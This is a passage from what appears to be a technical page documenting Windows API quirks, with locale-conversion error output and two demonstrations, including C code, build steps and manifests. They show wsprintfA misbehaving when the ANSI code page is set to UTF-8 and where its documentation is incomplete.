    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000813
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000412
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000412
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000411
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000411
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000040F
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000040F
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000040E
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000040D
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000040D
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00003C0C
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00003C0C
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000380C
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000340C
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000300C
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000300C
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00002C0C
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000280C
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000280C
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000240C
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000240C
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000200C
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000200C
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00001C0C
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00001C0C
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000180C
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000140C
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000100C
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000C0C
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000080C
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000040C
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00005C0A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000580A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000580A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000540A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000500A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00004C0A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000480A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000440A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000400A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00003C0A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000380A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000340A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000300A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00002C0A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000280A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000280A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000240A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000200A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00001C0A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00001C0A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000180A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000180A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000140A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000100A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000C0A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000C0A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000080A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000080A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000040A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000040A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000408
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000408
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000C07
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000405
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000405
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00007C04
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007C04
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00007804
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007804
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00001404
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00001404
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00001004
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00001004
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000C04
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000C04
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000804
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000804
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000404
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000404
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000803
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000403
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000402
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000402
    0x00004001 DIGITS	GetLocaleInfoW = 11:	٠١٢٣٤٥٦٧٨٩
    			UTF16LE » UTF8 = 21:	٠١٢٣٤٥٦٧٨٩
    			GetLocaleInfoA = 11:	0123456789
    			UTF8 » UTF16LE = 11:	0123456789
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00004001
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00004001
    0x00003C01 DIGITS	GetLocaleInfoW = 11:	٠١٢٣٤٥٦٧٨٩
    			UTF16LE » UTF8 = 21:	٠١٢٣٤٥٦٧٨٩
    			GetLocaleInfoA = 11:	0123456789
    			UTF8 » UTF16LE = 11:	0123456789
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00003C01
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00003C01
    0x00003801 DIGITS	GetLocaleInfoW = 11:	٠١٢٣٤٥٦٧٨٩
    			UTF16LE » UTF8 = 21:	٠١٢٣٤٥٦٧٨٩
    			GetLocaleInfoA = 11:	0123456789
    			UTF8 » UTF16LE = 11:	0123456789
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00003801
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00003801
    0x00003401 DIGITS	GetLocaleInfoW = 11:	٠١٢٣٤٥٦٧٨٩
    			UTF16LE » UTF8 = 21:	٠١٢٣٤٥٦٧٨٩
    			GetLocaleInfoA = 11:	0123456789
    			UTF8 » UTF16LE = 11:	0123456789
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00003401
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00003401
    0x00003001 DIGITS	GetLocaleInfoW = 11:	٠١٢٣٤٥٦٧٨٩
    			UTF16LE » UTF8 = 21:	٠١٢٣٤٥٦٧٨٩
    			GetLocaleInfoA = 11:	0123456789
    			UTF8 » UTF16LE = 11:	0123456789
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00003001
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00003001
    0x00002C01 DIGITS	GetLocaleInfoW = 11:	٠١٢٣٤٥٦٧٨٩
    			UTF16LE » UTF8 = 21:	٠١٢٣٤٥٦٧٨٩
    			GetLocaleInfoA = 11:	0123456789
    			UTF8 » UTF16LE = 11:	0123456789
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00002C01
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00002C01
    0x00002801 DIGITS	GetLocaleInfoW = 11:	٠١٢٣٤٥٦٧٨٩
    			UTF16LE » UTF8 = 21:	٠١٢٣٤٥٦٧٨٩
    			GetLocaleInfoA = 11:	0123456789
    			UTF8 » UTF16LE = 11:	0123456789
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00002801
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00002801
    0x00002401 DIGITS	GetLocaleInfoW = 11:	٠١٢٣٤٥٦٧٨٩
    			UTF16LE » UTF8 = 21:	٠١٢٣٤٥٦٧٨٩
    			GetLocaleInfoA = 11:	0123456789
    			UTF8 » UTF16LE = 11:	0123456789
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00002401
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00002401
    0x00002001 DIGITS	GetLocaleInfoW = 11:	٠١٢٣٤٥٦٧٨٩
    			UTF16LE » UTF8 = 21:	٠١٢٣٤٥٦٧٨٩
    			GetLocaleInfoA = 11:	0123456789
    			UTF8 » UTF16LE = 11:	0123456789
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00002001
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00002001
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00001C01
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00001C01
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00001801
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00001801
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00001401
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00001401
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00001001
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00001001
    0x00000C01 DIGITS	GetLocaleInfoW = 11:	٠١٢٣٤٥٦٧٨٩
    			UTF16LE » UTF8 = 21:	٠١٢٣٤٥٦٧٨٩
    			GetLocaleInfoA = 11:	0123456789
    			UTF8 » UTF16LE = 11:	0123456789
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000C01
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000C01
    0x00000801 DIGITS	GetLocaleInfoW = 11:	٠١٢٣٤٥٦٧٨٩
    			UTF16LE » UTF8 = 21:	٠١٢٣٤٥٦٧٨٩
    			GetLocaleInfoA = 11:	0123456789
    			UTF8 » UTF16LE = 11:	0123456789
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000801
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000801
    0x00000401 DIGITS	GetLocaleInfoW = 11:	٠١٢٣٤٥٦٧٨٩
    			UTF16LE » UTF8 = 21:	٠١٢٣٤٥٦٧٨٩
    			GetLocaleInfoA = 11:	0123456789
    			UTF8 » UTF16LE = 11:	0123456789
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000401
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000401
    
    0x459 (WIN32: 1113 ERROR_NO_UNICODE_TRANSLATION) -- 1113 (1113)
    Error message text: No mapping for the Unicode character exists in the target multi-byte code page.
    CertUtil: -error command completed successfully.
    OUCH¹: here the output of substitution characters ? is unexpected, abnormal and erroneous behaviour!

    OUCH²: in 260 cases the MultiByteToWideChar() function fails with Win32 error code 1113 alias ERROR_NO_UNICODE_TRANSLATION, i.e. the GetLocaleInfoA() function returns invalid UTF-8 in these 260 cases – a desastrous result!

    OUCH³: in 41 cases the UTF-8 output differs from the UTF-16LE output.

    OUCH⁴: in 8 of these 41 cases the GetLocaleInfoA() returns a string only containing the ASCII substitution character ?, i.e. the UTF-8 support in Windows’ National Language Support functions is a very bad joke!

Note: the evaluation of the (mis)behaviour for other values of the LCType parameter which yield native text, in particular LOCALE_S1159, LOCALE_S2359, LOCALE_SABBREVDAYNAME*, LOCALE_SABBREVMONTHNAME*, LOCALE_SCURRENCY, LOCALE_SDAYNAME*, LOCALE_SLONGDATE and LOCALE_SMONTHNAME*, is left as an exercise to the reader.

Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 37

Use UTF-8 code pages in Windows apps claims in section -A vs. -W APIs:
Until recently, Windows has emphasized "Unicode" -W variants over -A APIs. However, recent releases have used the ANSI code page and -A APIs as a means to introduce UTF-8 support to apps. If the ANSI code page is configured for UTF-8, -A APIs typically operate in UTF-8. This model has the benefit of supporting existing code built with -A APIs without any code changes.
The Win32 function wsprintfA() is documented in the MSDN as follows:
Writes formatted data to the specified buffer. Any arguments are converted and copied to the output buffer according to the corresponding format specification in the format string. The function appends a terminating null character to the characters it writes, but the return value does not include the terminating null character in its character count.

[…]

int wsprintfA(
  LPSTR  lpOut,
  LPCSTR lpFmt,
  ...
);
[…]
lpOut [out]
The buffer that is to receive the formatted output. The maximum size of the buffer is 1,024 bytes.
lpFmt [in]
The format-control specifications. In addition to ordinary ASCII characters, a format specification for each argument appears in this string. For more information about the format specification, see the Remarks section.
... [in]
One or more optional arguments. The number and type of argument parameters depend on the corresponding format-control specifications in the lpFmt parameter.
[…]

If the function succeeds, the return value is the number of characters stored in the output buffer, not counting the terminating null character.

If the function fails, the return value is less than the length of the expected output. To get extended error information, call GetLastError.

[…]

A format specification has the following form:

%[-][#][0][width][.precision]type

Each field is a single character or a number signifying a particular format option. The type characters that appear after the last optional format field determine whether the associated argument is interpreted as a character, a string, or a number. The simplest format specification contains only the percent sign and a type character (for example, %s). The optional fields control other aspects of the formatting. Following are the optional and required fields and their meanings.

Field Meaning
[…]
type Output the corresponding argument as a character, a string, or a number. This field can be any of the following values.
[…]
 
ls, lS
String. This value is always interpreted as type LPWSTR, even when the calling application does not define Unicode. This value is equivalent to ws.
Oops: this specification but fails to document the types lp alias tp alias wp alias Ip (all equivalent to p), tx (equivalent to Ix) and tX (equivalent to IX) for unsigned pointers in hexadecimal notation, the types td alias Id alias ti alias Ii for signed pointers in decimal notation, the types tu alias Iu for unsigned pointers in decimal notation, the types I32d (equivalent to d and ld) alias I32i (equivalent to i and li) for signed 32-bit integers in decimal notation, the type I32u (equivalent to u and lu) for unsigned 32-bit integers in decimal notation, the types I32x (equivalent to x and lx) and I32X (equivalent to X and lX) for 32-bit integers in hexadecimal notation, the types I64d alias I64i for signed 64-bit integers in decimal notation, the type I64u for unsigned 64-bit integers in decimal notation, the types I64x and I64X for 64-bit integers in hexadecimal notation, the types wc alias wC (both equivalent to lc and lC) for wide characters, the type wS (equivalent to ws, ls and lS) for wide character strings, the types wd (equivalent to d and ld) alias wi (equivalent to i and li) for signed 32-bit integers in decimal notation, the type wu (equivalent to u and lu) for unsigned 32-bit integers in decimal notation, plus the types wx (equivalent to x and lx) and wX (equivalent to X and lX) for 32-bit integers in hexadecimal notation!

Demonstration

Perform the following 6 simple steps to prove the first highlighted statement in the documentation cited above wrong and to show the misbehaviour of existing code when the ANSI Code Page is configured for UTF-8.
  1. Create the text file quirk37.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    #define memset	__stosb
    #define wmemset	__stosw
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	WCHAR	szWide[1024];
    	CHAR	szANSI[1024];
    	CHAR	szQuirk[1024];
    	UINT	uiQuirk;
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		wmemset(szWide, L'€', 1023);
    		szWide[1023] = L'\0';
    
    		memset(szANSI, '€', 1023);
    		szANSI[1023] = '\0';
    
    		SetLastError('FAIL');
    
    		uiQuirk = wsprintfA(szQuirk, "%ls", szWide);
    
    		if (uiQuirk != 1023)
    			PrintConsole(hConsole,
    			             L"wsprintfA() returned %u\n"
    			             L"GetLastError() returned 0x%08lX\n",
    			             uiQuirk, dwError = GetLastError());
    		else if (strcmp(szQuirk, szANSI) == 0)
    			PrintConsole(hConsole,
    			             L"wsprintfA() returned a string of %u \'%hc\' characters\n",
    			             uiQuirk, *szQuirk);
    		else
    			PrintConsole(hConsole,
    			             L"wsprintfA() returned a differing string \'%hs\' of %u characters\n",
    			             szQuirk, uiQuirk);
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk37.exe from the source file quirk37.c created in step 1.:

    SET CL=/GAF /Gs8192 /Gy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk37.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk37.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk37.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk37.exe
    quirk37.obj
  3. Execute the console application quirk37.exe built in step 2. to demonstrate the legacy behaviour:

    .\quirk37.exe
    wsprintfA() returned the correct string of 1023 '€' characters
  4. Create the text file quirk37.xml with the following content next to the console application quirk37.exe built in step 2.:

    <?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
    <!-- Copyright (C) 2004-2024, Stefan Kanthak -->
    <assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
        <assemblyIdentity name='Quirk37' processorArchitecture='*' type='win32' version='0.8.1.5' />
        <application xmlns='urn:schemas-microsoft-com:asm.v3'>
            <windowsSettings>
                <activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
            </windowsSettings>
        </application>
        <compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
            <application>
                <supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
            </application>
        </compatibility>
        <description>Quirk37 Console Application</description>
    </assembly>
    Note: the double use of an XML element named application is (at least) clumsy and error-prone!
  5. Embed the Application Manifest quirk37.xml created in step 4. in the console application quirk37.exe built in step 2.:

    MT.EXE /CANONICALIZE /MANIFEST quirk37.xml /OUTPUTRESOURCE:quirk37.exe
    Note: the Manifest Tool MT.exe is shipped with the Windows Software Development Kit.
    Microsoft (R) Manifest Tool version 6.1.7716.0
    Copyright (c) Microsoft Corporation 2009.
    All rights reserved.
  6. Execute the console application quirk37.exe configured in step 5. for the code page 65001 alias CP_UTF to demonstrate the (mis)behaviour:

    VER
    .\quirk37.exe
    Microsoft Windows [Version 10.0.22621.1105]
    
    wsprintfA() returned 0
    GetLastError returned 0x4641494C
    OUCH¹: contrary to the first highlighted statement of the documentation cited above, existing code but fails when the ANSI code page is configured for UTF-8!

    OUCH²: contrary to the last highlighted statement of the documentation cited above, the wsprintfA() function fails to set the Win32 error code!

Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 38

The Win32 function wsprintfA() is documented in the MSDN as follows:
Writes formatted data to the specified buffer. Any arguments are converted and copied to the output buffer according to the corresponding format specification in the format string. The function appends a terminating null character to the characters it writes, but the return value does not include the terminating null character in its character count.

[…]

int wsprintfA(
  LPSTR  lpOut,
  LPCSTR lpFmt,
  ...
);
[…]

If the function succeeds, the return value is the number of characters stored in the output buffer, not counting the terminating null character.

[…]

A format specification has the following form:

%[-][#][0][width][.precision]type

Each field is a single character or a number signifying a particular format option. The type characters that appear after the last optional format field determine whether the associated argument is interpreted as a character, a string, or a number. The simplest format specification contains only the percent sign and a type character (for example, %s). The optional fields control other aspects of the formatting. Following are the optional and required fields and their meanings.

Field Meaning
[…]
.precision […]

For strings, copy the specified maximum number of characters to the output buffer.

Demonstration

Perform the following 6 simple steps to prove the documentation cited above wrong and to show the (mis)behaviour.
  1. Create the text file quirk38.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    #define CP1252	L"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ"
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	DWORD	dwError = ERROR_SUCCESS;
    	DWORD	dwWide;
    	CHAR	szANSI[4];
    	UINT	uiANSI;
    	CHAR	szQuirk[4];
    	UINT	uiQuirk;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		if (WideCharToMultiByte(CP_ACP,
    		                        WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
    		                        CP1252, sizeof(CP1252) / sizeof(*CP1252),
    		                        (LPSTR) NULL, 0,
    		                        (LPCCH) NULL, (LPBOOL) NULL) == 0)
    			PrintConsole(hConsole,
    			             L"WideCharToMultiByte() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    			for (dwWide = 0; dwWide < sizeof(CP1252) / sizeof(*CP1252) - 1; dwWide++)
    			{
    				uiANSI = WideCharToMultiByte(CP_ACP,
    				                             WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
    				                             CP1252 + dwWide, 1,
    				                             szANSI, sizeof(szANSI) - 1,
    				                             (LPCCH) NULL, (LPBOOL) NULL);
    
    				if (uiANSI == 0)
    					PrintConsole(hConsole,
    					             L"WideCharToMultiByte() returned error %lu for wide character U+%04hX\n",
    					             dwError = GetLastError(), CP1252[dwWide]);
    				else
    				{
    					szANSI[uiANSI++] = '\0';
    #if 0
    					uiQuirk = wsprintfA(szQuirk, "%lc", CP1252[dwWide]);
    #else
    					uiQuirk = wsprintfA(szQuirk, "%.1ls", CP1252 + dwWide);
    #endif
    					if (uiQuirk == 0)
    						PrintConsole(hConsole,
    						             L"wsprintfA() returned error %lu for wide character \'%lc\' (U+%04hX)\n",
    						             dwError = GetLastError(), CP1252[dwWide], CP1252[dwWide]);
    					else
    					{
    						if (uiQuirk > 1)
    							PrintConsole(hConsole,
    							             L"wsprintfA() returned string \'%hs\' of %u characters for wide character \'%lc\' (U+%04hX)\n",
    							             szQuirk, uiQuirk, CP1252[dwWide], CP1252[dwWide]);
    
    						if (memcmp(szQuirk, szANSI, uiANSI) != 0)
    							PrintConsole(hConsole,
    							             L"wsprintfA() returned DIFFERENT string \'%hs\' of %u characters for wide character \'%lc\' (U+%04hX)\n",
    							             szQuirk, uiQuirk, CP1252[dwWide], CP1252[dwWide]);
    					}
    				}
    			}
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk38.exe from the source file quirk38.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk38.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk38.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk38.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk38.exe
    quirk38.obj
  3. Execute the console application quirk38.exe built in step 2. to demonstrate the legacy behaviour:

    .\quirk38.exe
  4. Create the text file quirk38.xml with the following content next to the console application quirk38.exe built in step 2.:

    <?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
    <!-- Copyright (C) 2004-2024, Stefan Kanthak -->
